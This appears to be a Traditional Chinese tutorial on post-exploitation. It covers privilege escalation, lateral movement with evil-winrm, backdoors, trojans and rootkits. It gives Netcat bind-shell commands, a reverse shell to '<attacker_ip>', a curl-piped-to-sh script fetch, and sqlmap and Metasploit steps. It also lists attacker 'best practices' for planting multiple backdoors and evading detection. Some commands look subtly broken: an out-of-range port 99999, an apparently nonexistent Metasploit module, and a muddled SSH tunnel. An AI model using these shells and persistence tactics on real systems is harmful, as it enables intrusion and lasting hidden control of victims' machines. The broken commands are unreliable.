在複雜的網路環境中,攻擊者不僅需要成功入侵系統,更需要提升許可權並建立持久存取,才能有效控制目標系統並取得敏感資訊。提升許可權是攻擊者在取得初始存取許可權後,試圖取得更高許可權的過程,例如從普通使用者許可權提升到管理員或 root 許可權。這通常涉及利用系統漏洞、組態錯誤或弱口令等手段。而維持存取則是指攻擊者在獲得許可權後,透過各種技術手段確保對目標系統的長期控制,例如安裝後門、rootkit 或建立隱蔽的通訊通道。這些技術手段使得攻擊者即使在系統重新啟動或帳號密碼被修改後,仍然可以重新進入系統。在雲端環境中,由於其分散式架構和虛擬化特性,維持存取更具挑戰性,攻擊者需要利用虛擬機器間的通訊或雲端服務漏洞來橫向移動並控制多個目標機器。
提升許可權與維持存取:網路攻擊的深度探討
在網路安全中,提升許可權與維持存取是後續利用階段的關鍵。這一階段的目標是建立持久的存取權,避免僅依賴單一入口。攻擊者通常會透過安裝後門、取得更高許可權、在環境內移動以及植入根工具來實作這一目標。玄貓將探討提升許可權、橫向移動、後門、木馬、根工具及在雲端環境中維持存取等技術,並結合實際案例與工具使用。
提升許可權
提升許可權是指從初始低許可權使用者進一步擴充套件到具有更多許可權或管理員許可權的過程。這一過程可以透過多種方法實作,包括:
- 根工具:這些工具可以隱藏攻擊者的存在,並提供持久的存取權。稍後將詳細介紹。
- 未修補的漏洞:許多工具利用這些漏洞來自動化提升許可權。Metasploit 框架是其中一個常見的工具,並且預設安裝在 Kali Linux 中。
- 零日漏洞:這些是最近被識別出來的安全漏洞,開發者還沒有足夠的時間修補。
- 錯誤組態:這是安全漏洞的一大原因,例如賦予過多的管理員許可權。
unix-privsec-check
unix-privsec-check 是一個常用於 Unix/Linux 系統中的工具,用於識別潛在的提升許可權機會。它是由一個單獨的 shell 指令碼編寫而成,可以輕鬆執行。
安裝與使用
$ sudo apt install unix-privsec-check
檢視選項
unix-privsec-check -h
詳細模式執行
unix-privsec-check -d
LinPEAS
LinPEAS 是另一個流行的工具,能夠輕鬆執行多種測試以識別提升許可權的機會。以下是從 GitHub 自動下載並執行 LinPEAS 的方式:
$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
樹立持久存取:後門與木馬
後門和木馬是攻擊者用來確保長期存取目標系統的常見手段。這些技術允許攻擊者在需要時重新進入系統,而不依賴於初始入口點。
後門
後門可以透過多種方式實作,例如修改系統檔案、植入惡意程式碼或利用軟體漏洞。以下是一些常見的後門技術:
- 修改系統檔案:攻擊者可以修改系統組態檔案或指令碼,使其在系統啟動時自動執行惡意程式碼。
- 植入惡意程式碼:攻擊者可以將木馬程式植入合法應用程式中,使其在執行時自動執行惡意操作。
- 利用軟體漏洞:攻擊者可以利用未修補的軟體漏洞來植入後門。
木馬
木馬通常隱藏在看似合法的檔案或應用程式中,當使用者開啟它們時,惡意程式碼會被執行。以下是一些常見的木馬技術:
- 掛馬型木馬:這類別木馬通常附加在合法檔案上,當使用者開啟檔案時,木馬會被啟用。
- 下載型木馬:這類別木馬會下載並安裝其他惡意軟體到受害者的系統中。
樹立持久存取:根工具
根工具是一種能夠隱藏攻擊者存在並提供持久存取權的技術。它們通常會修改作業系統核心或其他關鍵系統元件,使其難以被檢測和移除。
根工具型別
- 核心模組根工具:這些根工具直接修改作業系統核心,使其能夠隱藏攻擊者的活動。
- 應用層根工具:這些根工具修改應用層軟體,使其能夠監控和控制受害者的活動。
樹立持久存取:雲端環境
在雲端環境中維持存取具有其獨特挑戰。由於雲端環境通常由多個虛擬機器組成,攻擊者需要找到方法來橫向移動並保持對多個目標機器的控制。
常見技術
- 虛擬機器間通訊:攻擊者可以利用虛擬機器之間的通訊通路來傳遞命令和資料。
- 雲端服務漏洞:攻擊者可以利用雲端服務中的漏洞來取得更高許可權或植入後門。
實際案例
假設玄貓正在測試一個雲端環境中的 web 應用程式安全性。首先,玄貓會使用 SQLMap 來檢測 SQL 注入漏洞:
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs
接著,玄貓會使用 Metasploit 框架來進一步利用已發現的漏洞:
msfconsole
use exploit/multi/http/sql_injection
set RHOSTS example.com
set RPORT 80
set TARGETURI /vulnerable_page.php
exploit
樹立持久存取:最佳實踐
為了確保長期存取並避免被檢測和移除,玄貓建議以下最佳實踐:
- 多重後門:不要僅依賴單一後門,應該佈署多個不同型別的後門以確保永續性。
- 定期更新:定期更新後門和根工具以避免被檢測和移除。
- 隱蔽性強:確保所有惡意程式碼和活動都隱藏得足夠好,難以被受害者或安全專家發現。
- 橫向移動:在目標環境中進行橫向移動以取得更多資源和資訊。
此圖示表示攻擊者可能使用的一些技術路徑
graph TD;
A[初始進入] --> B[提升許可權];
A --> C[橫向移動];
B --> D[安裝後門];
B --> E[植入根工具];
C --> F[獲得更高許可權];
D --> G[維持長期存取];
E --> G;
F --> G;
內容解密:
此圖示展示了從初始進入到維持長期存取的一系列可能步驟。首先從「初始進入」開始,「提升許可權」和「橫向移動」是兩條主要路徑。「提升許可權」可能導致「安裝後門」或「植入根工具」。而「橫向移動」則可能導致「獲得更高許可權」。最後,「安裝後門」、「植入根工具」以及「獲得更高許可權」都可以幫助達成「維持長期存取」的目標。
橫向移動與後門攻擊
橫向移動是指從一個已被入侵的系統,進一步擴充套件到同一個或不同子網路中的其他系統。這一步驟對於維持對目標環境的持續存取至關重要。透過橫向移動,攻擊者可以取得更多的憑證,使得系統管理員或修復團隊難以完全復原其存取許可權。以下是初步利用後的橫向移動示意圖。
graph TD
A[已入侵系統] --> B[系統1]
A --> C[系統2]
A --> D[系統3]
B --> E[子網路1]
C --> E
D --> F[子網路2]
此圖示展示了從已入侵系統出發,向其他系統進行橫向移動的過程。每一個箭頭代表了一次橫向移動的尋機。
使用 evil-winrm 工具進行橫向移動
evil-winrm 是一個開源工具,可幫助連線到遠端系統並利用 Windows 遠端管理(WinRM)進行橫向移動。WinRM 是 Windows 作業系統中常見且強大的遠端管理方法。
安裝與基本使用
在 Kali Linux 中,evil-winrm 已經預裝。如果沒有找到,可以使用以下命令進行安裝:
$ sudo apt install evil-winrm
要檢視工具的選項和高層次描述,可以執行以下命令:
$ evil-winrm -h
具體應用
以下是如何使用 evil-winrm 連線到另一台 Windows 遠端系統的示例:
$ evil-winrm -i <target_ip> -u <username> -p <password>
在這個例子中,我們使用 Kali Linux 遠端存取了一台 Windows 遠端系統。為了成功連線,使用者必須具備以下許可權:
- 必須是目標 Windows 機器上的「遠端管理使用者」本地群組成員。
- 必須允許必要的防火牆埠。
連線到目標系統後,輸入 menu 可以看到可用選項列表。這些選項允許執行多種任務,例如上傳和下載檔案、執行命令、啟動 PowerShell 指令碼、列出服務以及執行二進製檔案。
上傳檔案
以下是如何將檔案上傳到目標系統的範例:
upload /path/to/local/file /path/to/remote/directory
下載檔案
這是如何從目標系統下載資料的範例:
download /path/to/remote/file /path/to/local/directory
惡意後門與木馬
後門和木馬是兩種常見的惡意軟體型別,用於維持對目標環境的持續存取。一旦獲得了初始存取許可權,攻擊者會透過設定後門或木馬來確保可以隨時重新進入系統。
後門
後門是一種能夠繞過環境中的安全控制措施的程式或服務。例如,某些後門允許在不提供使用者名稱或密碼的情況下存取系統。
木馬
木馬是一種看似合法且具有實用功能的程式或服務,但實際上隱藏了某些功能。名稱來自於特洛伊戰爭中的「特洛伊木馬」故事。
特洛伊木馬後門
當後門和木馬結合使用時,通常稱為「特洛伊木馬後門」。這種結合可以讓攻擊者在未來方便地重新進入目標系統。常見的工具包括 Cobalt Strike 的 Beacon、遠端存取工具以及 Netcat 監聽器等。
Netcat 工具
Netcat(通常簡寫為 nc)是一個古老但受歡迎的工具,可用於讀取和寫入網路連線,支援 TCP 和 UDP。它提供多種功能:
- 支援雙向 TCP 和 UDP 連線。
- 支援 DNS 正反查詢。
- 支援指定本地源埠。
- 支援埠掃描。
- 能夠讀取命令列輸入。
- 能夠讓其他程式或服務建立連線。
Netcat 預設情況下已安裝在 Kali Linux 中。如果沒有找到,可以使用以下命令進行安裝:
$ sudo apt install netcat-traditional
要檢視命令列選項及其說明,可以執行以下命令:
$ nc -h OR nc.traditional -h
作為木馬後門的 Netcat
下面是如何將 Netcat 作為木馬後門來盜取 shell 指令碼功能的範例:
- 在 Windows 中:
nc -l -p 99999 -e cmd.exe
- 在 Linux/Unix 中:
nc -l -p 99999 -e /bin/sh
Nmap 專案提供了一個 Netcat 的改進版本 Ncat:https://nmap.org/ncat/。Ncat 提供了類別似於 Netcat 的功能,並且支援 IPv4 和 IPv6、SSL 支援以及透過 SOCKS4 或 HTTP 代理進行代理連線等功能。
內容解密:
- Netcat 的基本功能:Netcat 是一個簡單但強大的網路工具,它可以用來讀取和寫入網路連線。它支援 TCP 和 UDP 模式下的雙向通訊。
- 常見應用:Netcat 常被用於測試埠、轉發流量、建立簡單的聊天伺服器等。它也經常被駭客用來建立反向 shell。
- 安全考量:由於 Netcat 的強大功能和簡單性,它經常被濫用於惡意活動中。因此在使用時需要特別注意安全性問題。
- 改進版本 Ncat:Nmap 專案提供了一個改進版本 Ncat ,它支援更多高階功能如 IPv6、SSL 支援以及代理連線等。
總結來說,Netcat 是一個非常靈活且強大的工具,但在使用時需要特別小心以避免潛在風險。
後滲透攻擊技術
在後滲透階段,攻擊者通常會利用各種工具來維持對目標系統的控制,並進一步攫取敏感資訊。這裡我們將探討如何使用 Ncat、木馬程式及遠端控制後門等工具來達成這些目的。
Ncat 的安裝與使用
Ncat 是一個強大的網路工具,類別似於 Netcat,但擁有更多功能。在 Kali Linux 中,Ncat 並非預設安裝,但可以透過以下指令進行安裝:
sudo apt install ncat
要檢視 Ncat 的所有選項及高層次描述,只需執行以下指令:
ncat -h
使用 Ncat 轉傳檔案
這是一個使用 Ncat 來在系統之間轉傳檔案的範例。以下是接收端電腦的組態方式:
ncat -l -p 1234 > received_file.txt
而傳送端的指令如下:
ncat <target_ip> 1234 < file_to_send.txt
請注意,命令列並不會顯示檔案轉傳完成的確認資訊,需要檢查目標資料夾來確認。
Ncat 的埠掃描功能
Ncat 還可以用於埠掃描。這是透過以下指令實作的:
nc -zvn <target> 21 25 80
這將掃描目標系統的指定埠範圍,檢視哪些埠是開放的或正在監聽。
木馬程式及遠端控制後門
木馬程式
木馬程式允許攻擊者控制目標系統或執行其他超出軟體預期用途的活動。這些工具通常具有以下特點:
- 在目標系統上安裝可執行檔案。
- 從遠端系統控制目標系統。
- 提供完全控制目標系統的介面或指令。
例如,系統管理員經常使用的工具可能不會被防毒軟體或終端檢測回應(EDR)軟體標記為惡意軟體。這些合法應用程式可以被修改以包含木馬,從而建立後門或進行更多惡意活動。
TightVNC 作為遠端控制後門
TightVNC 是一個免費的遠端桌面應用程式,允許攻擊者與目標系統進行遠端互動。Kali Linux 預設安裝了 TightVNC,並提供四個不同的套件:
- tightvncpasswd:提供
vncpasswd工具,用於設定 TightVNC 的密碼。 - tightvncserver:提供伺服器,允許客戶端連線並顯示桌面。
- xtightvncviewer:提供客戶端工具,允許從遠端連線到 VNC 伺服器。
- tightvncconnect:提供一個包裝器來啟動 VNC 伺服器。
這些工具可以被攻擊者利用來實作對目標系統的遠端控制。
Rootkits
Rootkits 自上世紀90年代以來就已存在,並廣泛應用於各種攻擊中。它們具有以下能力:
- 在目標系統中建立後門。
- 隱藏目標系統已被入侵或感染的事實。
Rootkits 的主要用途是感染作業系統本身,使其成為最有效的後門之一,因為它們能夠隱藏所有內容,避免終端使用者或系統管理員發現。Rootkits 的名稱源自 “root” 和 “kit” ,因為最初版本針對的是 Linux/Unix 系統以取得超級使用者許可權。然而,隨著時間的推移,Rootkits 已經擴充套件到 Windows 和 macOS 平台。
Rootkits 的執行模式
Rootkits 有多種執行模式:
- 使用者模式:修改合法的系統檔案和程式以隱藏自身存在。
- 核心模式:直接存取作業系統核心。
- 混合模式:結合使用者模式和核心模式的元素。
- 韌體模式:安裝在裝置(如硬碟或網路卡)的韌體中。
- 虛擬機器管理器模式:在虛擬機器管理器中執行。
我們將重點介紹兩種常見的模式:使用者模式和核心模式。
使用者模式 Rootkits
使用者模式 Rootkit 在使用者模式下執行。Linux Rootkit(LRK)是一種流行的 Unix/Linux 使用者模式 Rootkit。它具有多個版本,最常見的是 LRK 4、5 和 6。LRK 版本6 包含了一個修改過的 SSH ,允許透過攻擊者設定的後門密碼進行遠端和加密存取。
Secure Shell Daemon(SSHD)
SSHD 是 Linux/Unix 作業系統中的一個強大程式和主要安全工具。它用於加密和身份驗證遠端存取系統。LRK 的工作原理是透過修改 SSHD 或其他登入可執行檔案來建立後門。
Nmap 與 Ncat 的深度分析與實務案例
Nmap 和 Ncat 是兩款強大且廣泛使用於資安領域中的開源網路掃描及通訊工具。它們不僅適用於測試網路安全性,還能在實際攻擊與防禦操作中發揮重要作用。以下我們將探討 Nmap 和 Ncat 的技術細節及其在實務中的應用。
Nmap 的技術深度分析
Nmap(Network Mapper)是一款功能強大且靈活的網路掃描工具。它能夠探測網路中的主機、開放埠、服務版本以及作業系統型別等資訊。Nmap 的強大之處在於其多樣化的掃描技術和靈活性。
主要掃描技術
- SYN 掃描:僅傳送 SYN 段給目標主機,然後觀察回應來判斷埠狀態。這種掃描方式隱蔽且高效。
- FIN 掃描:傳送 FIN 段給目標主機來判斷是否有回應。此方法可以避開某些防火牆。
- Xmas 掃描:設定 TCP 段頭中的多個旗幟位(如 FIN、PSH、URG),觀察目標主機如何回應來判斷埠狀態。
- ACK 掃描:傳送 ACK 段給目標主機以檢查防火牆規則。
實際案例:使用 Nmap 探測網路安全漏洞
假設我們有一個內部網路需要進行安全評估。我們可以使用 Nmap 做初步掃描來探測開放埠及其服務版本資訊。
nmap -sS -sV -O <target_ip>
此命令將進行 SYN 掃描、探測服務版本以及猜測作業系統型別。
案例解析:進階掃描技術選型
假設我們發現部分主機對 SYN 掃描有防範措施(如防火牆),我們可以選擇使用 Xmas 掃描來避開這些防護:
nmap -sX <target_ip>
此方法利用 TCP 段頭中的多個旗幟位設定來確定開放埠狀態。
Ncat 的詳細解析與應用場景
Ncat 是 Netcat 的增強版本,具有更豐富的功能和選項。它可以被用於多種網路操作場景,包括資料轉移、埠轉發及進階滲透測試等。
資料轉移與傳輸
利用 Ncat 轉移資料非常簡單且高效。以下是一個基本範例:
# 接收端命令
ncat -l -p 1234 > received_file.txt
# 傳輸端命令
ncat <receiver_ip> 1234 < file_to_send.txt
案例解析:隱蔽資料轉移
假設我們需要在受限環境中進行資料轉移(例如避開防火牆檢查),可以結合隧道技術來進行:
# 建立隧道並進行資料轉移
ssh -L 1234:localhost:5678 user@remote_host
ncat localhost 5678 > received_file.txt # 在接受端接收資料
埠轉發與服務反彈
Ncat 支援多種埠轉發方式,適合高階滲透測試中反彈 Shell 或透過代理進行連線。
案例解析:反彈 Shell 操作
假設我們需要取得遠端主機上的 Shell 許可權。可以透過 Ncat 建立反彈連線:
# 在受害機上啟動反彈 Shell
ncat -e /bin/bash <attacker_ip> 4444
# 在攻擊機上監聽連線
ncat -l -p 4444
